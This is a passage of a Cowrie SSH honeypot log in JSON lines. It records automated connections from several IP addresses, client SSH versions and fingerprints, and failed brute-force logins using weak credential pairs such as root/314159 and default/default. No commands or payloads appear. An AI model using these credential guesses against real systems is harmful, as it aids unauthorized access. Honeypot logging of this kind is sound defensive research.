,"ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:21:50.838037Z","src_ip":"83.168.110.85","session":"5988eac059d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:21:51.311112Z","src_ip":"83.168.110.85","session":"5988eac059d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:21:52.465792Z","src_ip":"83.168.110.85","session":"5988eac059d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":41130,"dst_ip":"159.203.135.109","dst_port":22,"session":"54207d5a8460","protocol":"ssh","message":"New connection: 83.168.110.85:41130 (159.203.135.109:22) [session: 54207d5a8460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:01.386597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:01.391939Z","src_ip":"83.168.110.85","session":"54207d5a8460","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:01.512965Z","src_ip":"83.168.110.85","session":"54207d5a8460","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:01.876724Z","src_ip":"83.168.110.85","session":"54207d5a8460","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.99","src_port":36562,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9041d77040e","protocol":"ssh","message":"New connection: 152.32.171.99:36562 (159.203.135.109:22) [session: e9041d77040e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:02.907718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:02.912905Z","src_ip":"152.32.171.99","session":"e9041d77040e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:03.124231Z","src_ip":"83.168.110.85","session":"54207d5a8460","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:03.129316Z","src_ip":"152.32.171.99","session":"e9041d77040e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"314159","message":"login attempt [root/314159] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:04.029078Z","src_ip":"152.32.171.99","session":"e9041d77040e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":55876,"dst_ip":"159.203.135.109","dst_port":22,"session":"993c222dc52f","protocol":"ssh","message":"New connection: 103.183.114.55:55876 (159.203.135.109:22) [session: 993c222dc52f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:04.208614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:04.218710Z","src_ip":"103.183.114.55","session":"993c222dc52f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:04.441276Z","src_ip":"103.183.114.55","session":"993c222dc52f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":49106,"dst_ip":"159.203.135.109","dst_port":22,"session":"aaa93b9a9526","protocol":"ssh","message":"New connection: 103.118.29.129:49106 (159.203.135.109:22) [session: aaa93b9a9526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:04.815322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:04.820812Z","src_ip":"103.118.29.129","session":"aaa93b9a9526","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:05.057263Z","src_ip":"103.118.29.129","session":"aaa93b9a9526","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"336699","message":"login attempt [root/336699] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:05.155912Z","src_ip":"103.183.114.55","session":"993c222dc52f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:05.250405Z","src_ip":"152.32.171.99","session":"e9041d77040e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chou123","message":"login attempt [root/chou123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:06.022851Z","src_ip":"103.118.29.129","session":"aaa93b9a9526","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:06.382548Z","src_ip":"103.183.114.55","session":"993c222dc52f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:07.259104Z","src_ip":"103.118.29.129","session":"aaa93b9a9526","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":37750,"dst_ip":"159.203.135.109","dst_port":22,"session":"3bee442ff030","protocol":"ssh","message":"New connection: 83.168.110.85:37750 (159.203.135.109:22) [session: 3bee442ff030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:11.785159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:11.837672Z","src_ip":"83.168.110.85","session":"3bee442ff030","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:11.926185Z","src_ip":"83.168.110.85","session":"3bee442ff030","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:12.383043Z","src_ip":"83.168.110.85","session":"3bee442ff030","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:13.600579Z","src_ip":"83.168.110.85","session":"3bee442ff030","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":24952,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a1e78ca34a1","protocol":"ssh","message":"New connection: 194.59.206.2:24952 (159.203.135.109:22) [session: 1a1e78ca34a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:16.768446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:16.774010Z","src_ip":"194.59.206.2","session":"1a1e78ca34a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:16.865224Z","src_ip":"194.59.206.2","session":"1a1e78ca34a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:16.961486Z","src_ip":"194.59.206.2","session":"1a1e78ca34a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":45732,"dst_ip":"159.203.135.109","dst_port":22,"session":"49248e1d768f","protocol":"ssh","message":"New connection: 83.168.110.85:45732 (159.203.135.109:22) [session: 49248e1d768f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:22.596915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:22.604699Z","src_ip":"83.168.110.85","session":"49248e1d768f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:22.726331Z","src_ip":"83.168.110.85","session":"49248e1d768f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esearch","password":"esearch","message":"login attempt [esearch/esearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:23.090673Z","src_ip":"83.168.110.85","session":"49248e1d768f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:24.297351Z","src_ip":"83.168.110.85","session":"49248e1d768f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":34986,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ac353857e30","protocol":"ssh","message":"New connection: 160.251.185.39:34986 (159.203.135.109:22) [session: 3ac353857e30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:26.434855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:26.439400Z","src_ip":"160.251.185.39","session":"3ac353857e30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:26.626005Z","src_ip":"160.251.185.39","session":"3ac353857e30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hanuman","message":"login attempt [root/hanuman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:27.405114Z","src_ip":"160.251.185.39","session":"3ac353857e30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:28.595302Z","src_ip":"160.251.185.39","session":"3ac353857e30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43742,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c179d16e34f","protocol":"ssh","message":"New connection: 83.168.110.85:43742 (159.203.135.109:22) [session: 5c179d16e34f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:33.156631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:33.168343Z","src_ip":"83.168.110.85","session":"5c179d16e34f","protocol":"ssh"}
